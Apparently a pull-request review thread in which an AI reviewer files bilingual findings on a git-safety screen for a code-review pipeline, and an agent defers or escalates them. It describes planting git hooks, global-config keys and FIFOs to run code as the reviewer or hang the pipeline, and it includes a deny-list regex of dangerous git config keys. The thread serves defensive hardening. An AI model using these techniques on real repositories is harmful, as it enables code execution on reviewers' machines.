Fix: prepend ...INERT_GIT_ARGS to all four spawns (three here plus aone.ts:674), matching the SHA-mismatch rollback, and update the four test pins (fetch-pr.test.ts ~1156/~1220/~1319 bare-argv assertions; aone.test.ts ~1089 cleanup assertion) to expect the inert prefix. With those assertions expecting [...INERT_GIT_ARGS, 'branch', '-D', …], removing the spread from any of the four spawns must turn the corresponding test red — please include that mutation check.
中文说明
自第 12 轮起仍然存在。本 diff 编辑的三个 git branch -D spawn（此处 cleanStale、:994 元数据失败回滚、:1071 worktree-add 失败回滚）获得了 timeout/killSignal，但没有 INERT_GIT_ARGS；而第四个兄弟——:1031 的 head 不匹配回滚——带着 [...INERT_GIT_ARGS, 'branch', '-D', ref]，其注释明确说明 branch -D 会触发永不清除的公共钩子目录中的 reference-transaction 钩子。同类第五处位于 aone.ts:674——fetchDiff 的 finally 清理：本 diff 给它上面的两个 fetch 加了 INERT，却让它保持裸奔。
恶意 PR 的探针向公共钩子目录写入可执行的 .git/hooks/reference-transaction（一次写入 + chmod；没有任何东西清除它，只看配置的屏幕也看不见它）。之后某次 fetch-pr 运行只要 worktree add 抛错、元数据抓取失败、或发现遗留的 qwen-review/pr-N 分支，就会走到非惰性的 branch -D，以审查者身份执行植入的钩子——发生在流水线的失败与清理出口。Aone 的 finally 位置在钩子存在时，会在每次 MR diff 抓取的成功路径上触发。
见证（植入钩子，真实 git 2.47.3）：裸 git branch -D → 钩子触发（fires=3；链接 worktree 下 fires=15）；带 -c core.hooksPath=/dev/null/no-hooks → 未触发（fires=0）。
修复：给四处 spawn（此处三处 + aone.ts:674）前置 ...INERT_GIT_ARGS，与 SHA 不匹配回滚一致，并更新四处测试钉注，使其期望惰性前缀；请附带该突变检查（移除展开后对应测试应变红）。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // pipeline spawns that trigger it — the resume’s `git status`, | ||
| // the residue’s `ls-files`/`check-ignore` — run ahead of or | ||
| // beside the screen. | ||
| '^(filter\\..*\\.(smudge|clean|process)|include\\.path|includeif\\..+\\.path|extensions\\.partialclone|remote\\..+\\.promisor|core\\.sshcommand|core\\.gitproxy|core\\.askpass|credential(\\..+)?\\.helper|remote\\..+\\.uploadpack|protocol\\.(ext\\.)?allow|remote\\..+\\.fetch|core\\.alternaterefscommand|url\\..+\\.insteadof|url\\..+\\.pushinsteadof|core\\.sparsecheckout|core\\.attributesfile|core\\.excludesfile|core\\.fsmonitor|http\\.proxy|https\\.proxy|http\\..+\\.proxy|remote\\..+\\.proxy)$', |
There was a problem hiding this comment.
[Critical] R8-3: Still stands from round 8. The insteadOf channel and the head-SHA cross-check landed since, but the finding's remaining recorded half stands at this commit: remote.<name>.url is still not value-judged — the refusal regex has no alternative for it and nothing else in the screen judges it (grep of packages/cli/src/commands/review finds zero screening), and the BASE fetch this screen guards (gitProbe.fetch, fetch-pr.ts:563-572) fetches BY REMOTE NAME with no cross-check at all: baseRefOid appears only in fetch-pr.test.ts fixtures — FetchMeta carries headRefOid and baseRefName but no base OID, and neither getFetchMeta requests one.
An attacker mirror serves the true content-addressed head under the PR refspec — passing the head cross-check by construction — while serving a crafted base tip under refs/heads/<baseRefName>; merge-base then silently excludes the PR's own malicious commits from the captured range, and the review posts findings over a diff that omits commits the PR contains, while the credential exchange flows to the attacker host during the screen-certified fetch.
Fix: add the base-side analogue of the head cross-check — request baseRefOid in github.ts's gh pr view --json list, add it to FetchMeta, and after the base fetch refuse when refs/remotes/<remote>/<baseRefName> differs from the platform-advertised base OID (fail disclosed where the platform has none, e.g. Aone non-AGit-Flow). A fetch-pr.test.ts case whose mocked platform meta advertises a baseRefOid differing from the fetched base ref should refuse instead of publishing the range; removing the cross-check must turn it red.
中文说明
自第 8 轮起仍然存在。insteadOf 通道与 head-SHA 交叉校验已经落地，但该发现剩余的记录部分在本提交仍然存在：remote.<name>.url 仍未被值判定——拒绝正则没有它的备选项，屏幕也没有任何其他地方判定它（对 packages/cli/src/commands/review 的 grep 为零），且本屏幕所守护的 BASE 抓取（gitProbe.fetch，fetch-pr.ts:563-572）按远端名抓取、完全没有交叉校验：baseRefOid 只出现在 fetch-pr.test.ts 的夹具里——FetchMeta 只有 headRefOid 与 baseRefName，两个 getFetchMeta 也都不请求它。
攻击者镜像在 PR refspec 下提供真实的内容寻址 head（按构造通过 head 交叉校验），同时在 refs/heads/<baseRefName> 下提供伪造的 base 顶端；merge-base 随后悄悄把 PR 自己的恶意提交排除出捕获区间，评审在一份缺了 PR 所含提交的 diff 上发布发现，而凭据交换在屏幕背书的抓取期间流向攻击者主机。
修复：为 base 增加与 head 交叉校验对应的机制（平台请求 baseRefOid、抓取后比对、不一致即拒绝；平台无该值时显式披露）。请附带相应测试与突变检查。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round. This round ran under the workflow budget warning (the previous round exhausted its time before finishing anything) and landed the smallest blocking subset; the base-side platform-OID cross-check (baseRefOid through getFetchMeta/FetchMeta plus the post-base-fetch comparison) and the remote.<name>.url value judgment span every platform reader and were too large to land safely beside this batch. First item for the next round.
中文说明
顺延到下一轮。本轮在工作流预算警告下运行（上一轮在完成任何内容前就耗尽了时间），只落地了最小阻断子集；base 侧的平台 OID 交叉校验（getFetchMeta/FetchMeta 增加 baseRefOid 并在 base fetch 后比对）与 remote.<name>.url 按值判定横跨所有平台读取器，无法与本批安全地一并落地。下一轮第一优先。
| // Node honours `detached` here — it reaches the same `spawn()` the async | ||
| // API uses — but @types/node declares it only on the async `SpawnOptions`, | ||
| // so the option is named in an intersection instead of at the call site. | ||
| const runnerOptions: SpawnSyncOptionsWithStringEncoding & { |
There was a problem hiding this comment.
[Critical] R8-6: Still stands from round 8 (deferred with a recorded plan in rounds 8-12; verified unchanged at this commit). The premise 'a probe's planting surface is the repo-local files' is false: runnerOptions here carries only cwd/encoding/timeout/killSignal/stdio/detached — no env override — so the probe suite runs with the reviewer's real HOME, and sanitizedGitEnv() only strips GIT_CONFIG_GLOBAL from the pipeline's OWN spawns.
A malicious suite plants an executable key (a content filter, core.fsmonitor, core.hooksPath) into the reviewer's GLOBAL config, where every screen's candidate set never reads; every later checkout the pipeline certifies — in this repo's probe runs and in every other review on this machine — executes the planted command. The repo-local-only screen this PR builds is bypassed through the one config scope it deliberately ignores.
Fix (the recorded plan): give the runner spawn an isolated env — redirect HOME (or at minimum GIT_CONFIG_GLOBAL) to a throwaway file the pipeline owns, the way the test suite's isolateHostGitConfig does — and add a test asserting a global-config filter planted by the suite does not survive into the next certified checkout.
中文说明
自第 8 轮起仍然存在（第 8-12 轮以记录在案的方案延后；本提交核实未变）。前提"探针的植入面是仓库本地文件"是假的：此处 runnerOptions 只有 cwd/encoding/timeout/killSignal/stdio/detached——没有 env 覆盖——因此探针套件以审查者真实的 HOME 运行，而 sanitizedGitEnv() 只从流水线自己的 spawn 中剥掉 GIT_CONFIG_GLOBAL。
恶意套件把可执行键（内容过滤器、core.fsmonitor、core.hooksPath）植入审查者的全局配置——所有屏幕的候选集都不读那里；之后流水线背书的每次 checkout（本仓库的探针运行与这台机器上的所有其他评审）都会执行植入的命令。本 PR 构建的"仅仓库本地"屏幕被它刻意忽略的那个配置范围绕过。
修复（已记录的方案）：给运行器 spawn 隔离的 env（把 HOME 或至少 GIT_CONFIG_GLOBAL 重定向到流水线自有的临时文件），并补测试确保套件植入的全局配置过滤器不会活过下一次被背书的 checkout。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round; smallest blocking subset only). The recorded plan stands: run the probe runner under an isolated HOME/GIT_CONFIG_GLOBAL the pipeline owns (the isolateHostGitConfig pattern), with a test asserting the runner spawn’s env carries the throwaway values.
中文说明
顺延到下一轮（预算警告轮；仅最小阻断子集）。已记录的方案不变：让探针运行器运行在管线自有的一次性 HOME/GIT_CONFIG_GLOBAL 下（isolateHostGitConfig 模式），并加测试断言运行器 spawn 的 env 携带一次性值。
| // (measured live). Only this pin validates IDENTITY. Recorded BEFORE | ||
| // `created` is set: a throw here must land in the creation-failure | ||
| // catch alone, not double-record beside a phase that then runs. | ||
| creationCommonDir = realpathSync( |
There was a problem hiding this comment.
[Critical] R10-1: Still stands from round 10. The creationCommonDir recording added by this PR spawns git rev-parse through gitOut — the one git helper in this file that carries no timeout/killSignal — a config-reading spawn left unbounded, while every other rev-parse the diff adds (localFilterRefusal's, probeTreeIdentityRefusal's) is bounded with SCREEN_SPAWN_TIMEOUT_MS + SIGKILL precisely because a FIFO planted at the common config blocks it in open().
A detached suite child (the escape this diff pins in the integration suite) or a concurrent shard swaps a FIFO over <common>/config between the creation screen and this read; the unbounded spawnSync blocks in open(), the event loop freezes so TOTAL_BUDGET_MS cannot fire, and the whole review hangs until run.ts's minutes ceiling SIGKILLs the child — the entire budget burned before any probe ran. The plant persists, so every later review of the repo hangs the same way.
Witness:
timeout 5 git rev-parse --path-format=absolute --git-common-dir (FIFO at <common>/config)
-> exit=124 — hung until externally killed; gitOut at HEAD carries only {cwd, encoding, env}
Fix: give this spawn the same bound as its siblings (timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'), treating a kill as a creation failure the existing catch already reports; a test planting a FIFO after the screen seam should assert a bounded timeout failure — removing the bound must leave it hanging.
中文说明
自第 10 轮起仍然存在。本 PR 新增的 creationCommonDir 记录通过 gitOut 发起 git rev-parse——本文件中唯一不带 timeout/killSignal 的 git 助手——一个读配置的 spawn 被留在无界状态；而 diff 新增的其他 rev-parse（localFilterRefusal 的、probeTreeIdentityRefusal 的）都带 SCREEN_SPAWN_TIMEOUT_MS + SIGKILL，原因正是植入公共配置的 FIFO 会在 open() 阻塞它。
逃逸的套架子进程（本 diff 在集成套件中钉住的那类）或并发分片在创建屏幕与本读取之间把 FIFO 换到 <common>/config 上；无界 spawnSync 在 open() 阻塞，事件循环冻结，TOTAL_BUDGET_MS 无法触发，整个评审挂起直到 run.ts 的分钟级上限 SIGKILL 子进程——整个预算在任何探针运行前烧光。植入持久存在，之后对该仓库的每次评审都以同样方式挂起。
见证：timeout 5 git rev-parse --path-format=absolute --git-common-dir（/config 为 FIFO）→ exit=124（被外部杀死前一直挂起）。
修复：给该 spawn 与兄弟相同的界限；测试在屏幕缝隙后植入 FIFO 应断言有界的超时失败。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix is small and unchanged from the finding: bound the creationCommonDir capture with timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'; it will be batched with the sibling unbounded-spawn items (R11-2, R11-3, residue spawns, cat-file).
中文说明
顺延到下一轮（预算警告轮）。修复小且与发现描述一致：给 creationCommonDir 捕获加 timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL'；将与同类的无界 spawn 项（R11-2、R11-3、残留 spawn、cat-file）合并为一批。
| // the outer catch releases the lease. | ||
| if ( | ||
| meta.headRefOid && | ||
| meta.headRefOid.toLowerCase() !== fetchedSha.toLowerCase() |
There was a problem hiding this comment.
[Critical] R10-3: Still stands from round 10. The head cross-check treats meta.headRefOid as a strict object ID, but the Aone provider fills it from sourceBranch — aoneHeadSha is (view.sourceBranch ?? '').trim() with no shape check (aone.ts:275-277), and the provider's own comment records that sourceBranch is a branch NAME on branch-based (non-AGit-Flow) MRs.
An Aone MR created from a regular branch: fetch-pr fetches refs/merge-requests/N/head successfully, then 'feature/login' !== <sha> is always true, so the pipeline deletes the fetched ref and throws 'the fetched content is not the PR under review (a repo-local config rewriting the fetch's remote URL is one cause)' on every retry — such MRs become permanently unreviewable, misdescribed as a redirected-fetch attack.
Witness (this round, probe through the real handler):
Aone MR sourceBranch='feature/login' -> reportFor rejected: /the fetched content is not the PR under review/
shape-gate fix -> resolves (gate must admit abbreviated OIDs: /^[0-9a-f]{7,40}$/i — the mismatch fixtures use 12-char shas)
Fix: compare only when the advertised head actually is an object ID (hex-shape gate), treating non-OID heads as 'platform advertises no OID' — or resolve sourceBranch to a SHA in the Aone reader. Drive the branch-name shape through fetch-pr.test.ts either way; removing the gate must turn the new case red.
中文说明
自第 10 轮起仍然存在。head 交叉校验把 meta.headRefOid 当严格对象 ID，但 Aone 提供者用 sourceBranch 填充它——aoneHeadSha 是 (view.sourceBranch ?? '').trim()，无形状检查（aone.ts:275-277），提供者自己的注释记录：分支型（非 AGit-Flow）MR 的 sourceBranch 是分支名。
从普通分支创建的 Aone MR：fetch-pr 成功抓取 refs/merge-requests/N/head，随后 'feature/login' !== <sha> 恒真，于是流水线删除已抓取的引用并在每次重试都抛出"抓取的内容不是被评审的 PR"——此类 MR 变得永久不可评审，且被误判为重定向抓取攻击。
见证（本轮，通过真实处理器的探针）：sourceBranch='feature/login' → reportFor 拒绝；形状门修复后可通过（门必须接受缩写 OID）。
修复：仅当通告的 head 确为对象 ID 时才比较（十六进制形状门），或让 Aone 读取器把 sourceBranch 解析成 SHA；无论哪种方案，请把分支名形状加入 fetch-pr.test.ts，且移除门时新用例应变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // the baseline (run 1), floods stdout past spawnSync's 64 MiB maxBuffer on | ||
| // run 2 (the first mutant) so the runner spawn itself errors (ENOBUFS), | ||
| // and passes the revert probe (run 3). | ||
| // the baseline (run 1), dies BY SIGNAL on run 2 (the first mutant) |
There was a problem hiding this comment.
[Critical] R13-4: Still stands from round 13. The rewritten 'runner dies mid-mutation' test (ENOBUFS flood -> self-SIGKILL, :1841) depends on POSIX signal semantics and is a bare it() — its siblings at :652/:1563 use it.skipIf(process.platform === 'win32'). On Windows a self-SIGKILL surfaces to the parent spawnSync as a plain exit with signal: null, so runProbeSuite never throws and this test's assertions fail. Still a bare it() at this commit.
Failure: on the required Windows lane (ci.yml test_windows, Test (windows-latest, Node 22.x), runs npm run test:ci on merge_group — the queue this PR itself must pass): signal null -> classifyProbeRun -> mutant 1 'inconclusive' failing toContain('mutation probe could not run')/toContain('SIGKILL'); the loop proceeds to mutant 2 which the fake runner passes -> survived failing toBe('inconclusive'); a mutant-survived finding is emitted failing the .some(...) assertion. Product behaviour on Windows still fails safe (inconclusive); the defect is confined to the test, which is why a one-line skipIf settles it.
Witness: not run — Windows signal semantics cannot execute on this Linux host; the trace rests on the quoted code path (runProbeSuite's direct-spawn branch throws only on r.error/r.signal), the verified CI lane configuration, and the repo's own documentation at packages/core/src/utils/pdf.test.ts:666-669 ('On Windows Node terminates via TerminateProcess and signal is typically null').
Fix: it.skipIf(process.platform === 'win32') like the siblings, or split the assertions to the no-report/no-signal classification path on Windows.
中文说明
自第 13 轮起仍然存在。重写后的"运行器在突变中途死亡"测试（ENOBUFS 洪水 -> 自我 SIGKILL，:1841）依赖 POSIX 信号语义，且是裸 it()——其兄弟测试 :652/:1563 使用 it.skipIf(process.platform === 'win32')。在 Windows 上，自我 SIGKILL 向父进程 spawnSync 表现为普通退出且 signal: null，因此 runProbeSuite 从不抛出，本测试的断言失败。本提交仍是裸 it()。
失败：在必需的 Windows 关卡（ci.yml test_windows，于 merge_group 上运行 npm run test:ci——本 PR 自身也必须通过的队列）：signal 为 null -> 突变体 1 'inconclusive' 的断言失败；循环继续到突变体 2 并被假运行器通过 -> 'survived' 断言失败；发出 mutant-survived 发现。Windows 上的产品行为仍安全失败（inconclusive）；缺陷仅限于测试，一行 skipIf 即可解决。
见证：未运行——Windows 信号语义无法在本 Linux 主机执行；依据是引用的代码路径、已核实的 CI 关卡配置，以及仓库自身在 pdf.test.ts:666-669 的文档。
修复：与兄弟一致地使用 it.skipIf(process.platform === 'win32')，或在 Windows 上把断言拆到无报告/无信号的分类路径。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| const candidates = [ | ||
| join(common, 'config'), | ||
| join(common, 'config.worktree'), |
There was a problem hiding this comment.
[Critical] R14-1 (new this round): the screen permanently refuses legitimate, git-authored repo-local state the pipeline never plants, because the screens run against the USER'S repository (fetch-pr.ts:928 screens process.cwd()) while the docstring premise 'a fresh pipeline clone carries none of them, so refusal cannot break a legitimate one' is false for that population. Three live-verified entrances: (1) sparse-checkout — git sparse-checkout init --cone writes core.sparseCheckout=true into <common>/config.worktree (the exact candidate this diff adds), and worktree add propagates it into every new tree, so every phase refuses; even sparse-checkout disable leaves the key nameable. (2) partial clone — every legitimate git clone --filter=... repo carries remote.origin.promisor=true (measured on filter-honoring AND filter-ignoring servers); the classifier routes it to transport with no value-judged path, so every review in a partial-clone repo refuses, and unsetting promisor damages the clone. (3) single-branch clone — git clone --single-branch writes remote.origin.fetch=+refs/heads/main:refs/remotes/origin/main, and fetchRefspecRefuses' SOURCE class refuses every literal non-HEAD source; also shallow branch clones, git remote set-branches, and Actions-style checkouts.
Any reviewer whose repo ever ran sparse-checkout, was cloned with --filter=..., or is a single-branch/shallow clone is permanently refused on every review, with a remediation that tells them to remove the very config that makes their clone a clone.
Witness (probes through the real localFilterRefusal, git 2.47.3):
sparse repo -> REFUSED from both screen shapes naming core.sparsecheckout; non-sparse control -> CERTIFIED (null)
blob:none clone -> refused naming remote.origin.promisor; dropping the alternative -> certifies
--single-branch clone -> refused from both worktree shapes; SOURCE class guarded out -> certifies
Fix: neutralize or value-judge legitimate state instead of blanket refusal, scoped per key — add -c core.sparseCheckout=false to INERT_GIT_ARGS and drop the sparse alternative (note: dropping the common config.worktree candidate wholesale is NOT safe — main-worktree fetches read it); value-judge promisor like remote.<name>.fetch (certify when no command-shaped transport rides it — no uploadpack override, no ext:: URL); certify literal sources whose destination maps into refs/remotes/<name>/. Certify tests for all three repo shapes must go red if any blanket refusal is re-added.
中文说明
本轮新发现。屏幕会永久拒绝流水线从未植入的、由 git 自身写入的合法仓库本地状态：因为屏幕作用于用户自己的仓库（fetch-pr.ts:928 屏幕检查 process.cwd()），而文档字符串的前提"新克隆的流水线仓库不带这些键，因此拒绝不会破坏合法仓库"对这个群体是假的。三个实测入口：(1) sparse-checkout——git sparse-checkout init --cone 把 core.sparseCheckout=true 写入 <common>/config.worktree（正是本 diff 新增的候选），且 worktree add 把它传播进每棵新树，所有阶段都拒绝；连 sparse-checkout disable 也会留下可匹配的键。(2) 部分克隆——每个合法的 git clone --filter=... 仓库都带 remote.origin.promisor=true（在尊重与忽略过滤器的服务器上都测到）；分类器把它归入 transport 且没有值判定路径，部分克隆仓库的每次评审都被拒绝，而 unset promisor 会损坏克隆。(3) 单分支克隆——git clone --single-branch 写入字面量 refspec，被 fetchRefspecRefuses 的 SOURCE 类别拒绝；浅克隆、git remote set-branches、Actions 风格的检出同样如此。
任何用过 sparse-checkout、用 --filter=... 克隆过、或是单分支/浅克隆的仓库，每次评审都会被永久拒绝，且修复建议让用户删除令其克隆成其为克隆的配置。
见证（通过真实 localFilterRefusal 的探针）：sparse 仓库在两种屏幕形态下都被拒绝（非 sparse 对照被放行）；blob:none 克隆被拒绝（去掉备选项后放行）；单分支克隆被拒绝（去掉 SOURCE 类别后放行）。
修复：按键逐一以中和或值判定替代一刀切拒绝（sparse 用 -c core.sparseCheckout=false 中和——注意整体删除 common config.worktree 候选不安全，主 worktree 的抓取会读它；promisor 像 remote.<name>.fetch 一样值判定；目标映射进 refs/remotes/<name>/ 的字面源放行）。请附带三种仓库形态的放行测试与突变检查。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Escalated for a maintainer decision — not silently deferred. The screen’s fail-closed blanket refusal of legitimate git-authored state (sparse-checkout’s core.sparseCheckout, partial clone’s remote.<name>.promisor, single-branch-clone refspecs, include directives) is a security-posture-vs-usability trade-off with two defensible directions: (a) keep the fail-closed refusal for this PR and fix the PR body’s Known-gap section to state the shipped posture; (b) neutralize/value-judge per key (-c core.sparseCheckout=false in INERT_GIT_ARGS, value-judge promisor like remote.<name>.fetch, certify literal sources mapping into refs/remotes/<name>/, origin-scoped --show-origin include read). Recommendation: (a) now, (b) as a tracked follow-up. Open question for the maintainer: is permanent fail-closed refusal of sparse/partial-clone/single-branch/include-using repos acceptable for v1 of the screen? (The PR body text itself cannot be edited from this workflow.)
中文说明
升级给维护者决定——不是静默顺延。屏幕对 git 自有的合法状态（sparse-checkout 的 core.sparseCheckout、部分克隆的 remote.<name>.promisor、单分支克隆的 refspec、include 指令）一刀切失败关闭，是安全姿态与可用性之间有两个合理方向的取舍：(a) 本 PR 保留失败关闭拒绝，并把 PR 正文的 Known-gap 一节改写为实际交付的姿态；(b) 按键逐一中和/值判定（INERT_GIT_ARGS 加 -c core.sparseCheckout=false、promisor 像 remote.<name>.fetch 一样值判定、放行映射进 refs/remotes/<name>/ 的字面源、来源域 --show-origin include 读取）。建议：先 (a)，(b) 作为已跟踪的后续项。留给维护者的开放问题：对 sparse/部分克隆/单分支/使用 include 的仓库永久失败关闭，在屏幕 v1 是否可接受？（PR 正文本身无法在本工作流中编辑。）
| const status = gitOpt( | ||
| '-C', | ||
| wt, |
There was a problem hiding this comment.
[Critical] R14-2 (new this round): the residue probe gitOpt('-C', wt, '-c', 'core.fsmonitor=', 'status', ...) runs AHEAD of the first screen on fetch-pr --resume and closes only the fsmonitor layer — git status also fires the post-index-change hook from the never-wiped common hooks dir, and the spawn carries no core.hooksPath override.
A malicious PR's probe writes an executable <common>/hooks/post-index-change (one write + chmod; nothing wipes the hooks dir). A later fetch-pr --resume reaches this probe before any screen runs; status rewrites the index to refresh stat data and fires the hook — attacker code executes as the reviewer on every resumed fetch.
Witness (planted hook, pipeline-shape linked worktree, exact residue argv, git 2.47.3):
hook fired on ALL 11 index-state arms (fresh/settled/stale-stat/dirty/untracked/consecutive)
GIT_TRACE: run_command: <common>/.git/hooks/post-index-change 0 0 (during the status spawn)
flip: INERT-args status -> fires=0
Fix: gitOpt('-C', wt, ...INERT_GIT_ARGS, 'status', '--porcelain', '--untracked-files=normal') — the hooksPath override then joins the existing fsmonitor pin; extend the resume status-probe test's toContain('core.fsmonitor=') assertion with the hooksPath pin — removing the override from the spawn must turn it red.
中文说明
本轮新发现。残留探针 gitOpt('-C', wt, '-c', 'core.fsmonitor=', 'status', ...) 在 fetch-pr --resume 的第一个屏幕之前运行，只封闭了 fsmonitor 一层——git status 还会触发永不清除的公共钩子目录中的 post-index-change 钩子，而该 spawn 不带 core.hooksPath 覆盖。
恶意 PR 的探针写入可执行的 <common>/hooks/post-index-change（一次写入 + chmod；没有任何东西清除钩子目录）。之后某次 fetch-pr --resume 在任何屏幕运行之前到达该探针；status 为刷新 stat 数据而重写索引并触发钩子——攻击者代码以审查者身份在每次恢复运行中执行。
见证（植入钩子、流水线形态的链接 worktree、精确残留 argv、git 2.47.3）：全部 11 个索引状态分支钩子均触发；GIT_TRACE 确认；INERT 参数分支 fires=0。
修复：给该 spawn 加上 INERT_GIT_ARGS；扩展恢复状态探针测试的断言；移除覆盖时测试应变红。
— qwen3.8-max via Qwen Code /review (v0.22.2)
| // `check-ignore` runs a planted `core.fsmonitor` too (measured live) | ||
| // — the same pin the sibling spawns carry. | ||
| '-c', | ||
| 'core.fsmonitor=', |
There was a problem hiding this comment.
[Critical] R14-4 (new this round): the residue-probe spawns this diff pins with -c core.fsmonitor= (check-ignore here, ls-files in trackedIgnoreSources) and their worktreeResidue siblings (rev-parse discovery, rev-parse HEAD, status, ls-files --others) carry no timeout/killSignal, while the diff applies SCREEN_SPAWN_TIMEOUT_MS + SIGKILL to every screen spawn for exactly this FIFO hazard; the info/exclude regular-file gate exists only inside localFilterRefusal before checkouts, never before residue measurement — and agent-prompt measures residue unconditionally on every invocation.
A probe run (or any same-user writer) does one mkfifo+rename onto .git/info/exclude in the never-wiped common dir. If the run is killed at its deadline, or the plant lands after the last gated checkout, no screen ever sees the FIFO: the next wave's residue measurement blocks in open() — the fsmonitor pin does nothing against an open() block — freezing the pipeline's event loop until run.ts's kill ceiling; the FIFO persists, so every later brief construction for that repo blocks the same way until removed by hand.
Witness (FIFO at .git/info/exclude, external timeout 3s):
status argv -> exit 124; diff-touched check-ignore argv (with -c core.fsmonitor=) -> exit 124
real worktreeResidue, no bound anywhere -> git child sleeping in wchan wait_for_partner, no return after 35+s
flip: timeout+SIGKILL on the status spawn -> returned after 5033ms {paths:[], total:0, unmeasured:'ETIMEDOUT'}
Fix: give the residue-probe spawns the discipline the diff gives screen spawns — timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL' (their existing r.error paths already degrade to unmeasured/null) — and/or run the info/attributes + info/exclude regular-file gate before residue measurement as well as before checkouts. A worktree.test.ts case mkfifo'ing info/exclude should assert a bounded unmeasured return; removing the timeout must leave it hanging.
中文说明
本轮新发现。本 diff 用 -c core.fsmonitor= 钉注的残留探针 spawn（此处 check-ignore、trackedIgnoreSources 中的 ls-files）及其 worktreeResidue 兄弟（rev-parse 发现、rev-parse HEAD、status、ls-files --others）都不带 timeout/killSignal；而 diff 给每个屏幕 spawn 都加了 SCREEN_SPAWN_TIMEOUT_MS + SIGKILL，原因正是这个 FIFO 风险；info/exclude 正规文件门只存在于 localFilterRefusal 的 checkout 之前，从不在残留测量之前——而 agent-prompt 每次调用都无条件测量残留。
探针运行（或任何同用户写入者）对永不清除的公共目录的 .git/info/exclude 做一次 mkfifo+rename。若运行在截止时被杀死、或植入落在最后一次有门 checkout 之后，任何屏幕都看不见这个 FIFO：下一波的残留测量在 open() 阻塞——fsmonitor 钉注对 open() 阻塞无效——冻结流水线事件循环直到 run.ts 的杀死上限；FIFO 持久存在，之后对该仓库的每次 brief 构建都以同样方式阻塞，直到手工移除。
见证：.git/info/exclude 为 FIFO 时，status 与 check-ignore argv 都在外部 3s 超时下 exit 124；真实 worktreeResidue（无界）35s+ 无返回；给 status spawn 加 timeout+SIGKILL 后 5033ms 返回 unmeasured:'ETIMEDOUT'。
修复：给残留探针 spawn 与屏幕 spawn 相同的纪律（timeout + SIGKILL，其 r.error 路径已能降级为 unmeasured），和/或在残留测量前也运行 info 文件正规文件门；请附带 mkfifo info/exclude 断言有界返回的测试。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
Deferred to the next round (budget-warning round). Fix stands: give every residue-probe/worktreeResidue spawn a residue-sized timeout + killSignal: 'SIGKILL' (their r.error paths already degrade to unmeasured/null), with a FIFO-at-info/exclude bounded-unmeasured witness. Batched with the other unbounded-spawn items.
中文说明
顺延到下一轮（预算警告轮）。修复不变：给每个残留探针/worktreeResidue spawn 加残留量级的 timeout + killSignal: 'SIGKILL'（其 r.error 路径已能降级为 unmeasured/null），附 info/exclude FIFO 的有界 unmeasured 见证。与其他无界 spawn 项合并一批。
| // config and writing its index (measured: the user's MAIN index | ||
| // staged the base blob for a PR-modified file, silently, surviving | ||
| // the cleanup). | ||
| const revertIdentityRefusal = probeTreeIdentityRefusal( |
There was a problem hiding this comment.
[Critical] R14-5 (new this round): the revert-phase screens this diff adds (identity gate + filter re-screen here) certify discovery and config, but the phase's very next step — existsAtBase -> existsAtRev's git cat-file -e spawnSync (:1421-1429) — carries no timeout/killSignal: an unbounded spawn on the attacker-writable object store, one call below the gate this diff inserts. The spawn itself is pre-existing and unchanged (identical at the merge base), but this diff's phase-hardening claim — 'a screen spawn must still END against a config that blocks in open()' — is precisely what this adjacent spawn contradicts.
The suite swaps a FIFO over any existing pack .idx during baseline. Every bounded spawn the diff adds or relies on PASSES the plant — gate rev-parse exit 0, screen config exit 1 (certify path), ls-files exit 0 — and cat-file BASE:f.ts then blocks in open(): exit 124 under an external 3s bound, indefinite without one (same for a fully-packed store, where real user repos live). Since the spawnSync is synchronous and unbounded, the event loop freezes and the in-process budget clamps cannot fire; the plant persists, so the revert phase wedges on every later review and creations degrade to inconclusive (worktree add exit 124).
Witness (FIFO over the sole pack .idx, pipeline shape):
gate rev-parse exit 0; screen config exit 1; ls-files exit 0
cat-file BASE:f.ts exit 124 (3s bound; unbounded in code); worktree add exit 124
after restoring the real .idx: cat-file exit 0
Fix: give existsAtRev's spawnSync timeout: SCREEN_SPAWN_TIMEOUT_MS, killSignal: 'SIGKILL', beside the other bounded spawns in this file; the existing if (r.error) throw already turns that into a named inconclusive through the revert phase's catch. An integration test swapping a pack .idx for a FIFO during baseline should assert every probe comes back bounded and inconclusive; removing the timeout must leave it hanging.
中文说明
本轮新发现。本 diff 为 revert 阶段添加的屏幕（此处的身份门 + 过滤器重屏幕）背书了发现链与配置，但该阶段的下一步——existsAtBase -> existsAtRev 的 git cat-file -e spawnSync（:1421-1429）——不带 timeout/killSignal：一个对攻击者可写对象存储的无界 spawn，就在本 diff 插入的门下面一个调用。该 spawn 本身是既存且未改动的（合并基处完全相同），但本 diff 的阶段加固声明——"屏幕 spawn 面对在 open() 阻塞的配置也必须能结束"——恰是这个相邻 spawn 所矛盾的。
套件在基线期间把 FIFO 换到任一现有 pack .idx 上。diff 添加或依赖的每个有界 spawn 都通过植入——门 rev-parse exit 0、屏幕 config exit 1（放行路径）、ls-files exit 0——随后 cat-file BASE:f.ts 在 open() 阻塞：外部 3s 界限下 exit 124，无界时无限期（真实用户仓库所在的完全打包存储同样如此）。由于 spawnSync 同步且无界，事件循环冻结，进程内预算钳制无法触发；植入持久存在，之后每次评审的 revert 阶段都被楔住，创建降级为 inconclusive（worktree add exit 124）。
见证（FIFO 换掉唯一 pack .idx，流水线形态）：门 rev-parse exit 0；屏幕 config exit 1；ls-files exit 0；cat-file BASE:f.ts exit 124（外部 3s 界限；代码中无界）；恢复真实 .idx 后 cat-file exit 0。
修复：给 existsAtRev 的 spawnSync 加 timeout + SIGKILL；请附带基线期间换 FIFO 后断言所有探针有界且 inconclusive 的集成测试。
— qwen3.8-max via Qwen Code /review (v0.22.2)
There was a problem hiding this comment.
